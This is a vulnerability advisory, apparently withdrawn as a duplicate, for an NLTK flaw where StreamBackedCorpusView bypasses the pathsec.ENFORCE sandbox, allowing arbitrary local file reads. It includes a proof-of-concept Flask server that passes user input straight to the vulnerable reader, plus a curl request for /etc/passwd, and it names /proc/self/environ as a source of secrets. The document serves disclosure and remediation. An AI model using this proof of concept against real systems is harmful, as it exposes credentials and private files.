CVE-2026-63312

NLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.

NLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-x5ph-mj9p-rfr8. This link is maintained to preserve external references.

Original Description

NLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.

Summary

Setting nltk.pathsec.ENFORCE = True is documented to sandbox all file access to allowed NLTK data directories and raise PermissionError on unauthorized access. However, StreamBackedCorpusView opens files via builtins.open() directly, bypassing pathsec.validate_path() entirely. An attacker who can influence the fileid argument can read arbitrary local files regardless of the ENFORCE setting.

Details

nltk/pathsec.py:274 defines the enforcement point:

def open(file, mode="r", **kwargs):
    validate_path(file, context="pathsec.open")
    return builtins.open(file, mode=mode, **kwargs)

StreamBackedCorpusView._open() in nltk/corpus/reader/util.py bypasses this entirely for string paths:

# line 171 — no validate_path() call
self._eofpos = os.stat(self._fileid).st_size

# line 208 — calls builtins.open directly
self._stream = open(self._fileid, "rb")

Also affected: XMLCorpusView and any corpus reader subclass that passes a raw string fileid to StreamBackedCorpusView.

PoC

# poc_server.py — StreamBackedCorpusView pathsec.ENFORCE bypass
from flask import Flask, request, jsonify
import nltk.pathsec as ps
from nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block

# Strict mode enabled — expected to sandbox all file access
ps.ENFORCE = True

app = Flask(__name__)

@app.post("/read")
def read_file():
    fname = request.json.get("file")
    # fileid is user-controlled, passed directly to StreamBackedCorpusView
    # pathsec.ENFORCE = True is ignored — builtins.open() called internally
    view = StreamBackedCorpusView(fname, read_line_block, encoding="utf8")
    return jsonify({"file": fname, "content": view[0]})

app.run(host="0.0.0.0", port=8000)

Trigger:

curl -s -X POST http://localhost:8000/read \
  -H "Content-Type: application/json" \
  -d '{"file": "/etc/passwd"}'

Confirmed on latest stable NLTK. No privileges required.

Impact

• Type: Arbitrary Local File Read / Security Control Bypass
• CWE: CWE-22, CWE-284
• OWASP: A01:2021 – Broken Access Control

Affects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the fileid passed to NLTK corpus readers. Sensitive targets include /etc/passwd, /proc/self/environ (may contain AWS_SECRET_ACCESS_KEY, DATABASE_URL, etc.), and application config files.

The core issue is that operators who explicitly set ENFORCE = True to harden production deployments are left with a false security guarantee.

Suggested fix: Replace builtins.open() and os.stat() in the string-path branch with nltk.pathsec.open() and nltk.pathsec.validate_path().

NLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.

NLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.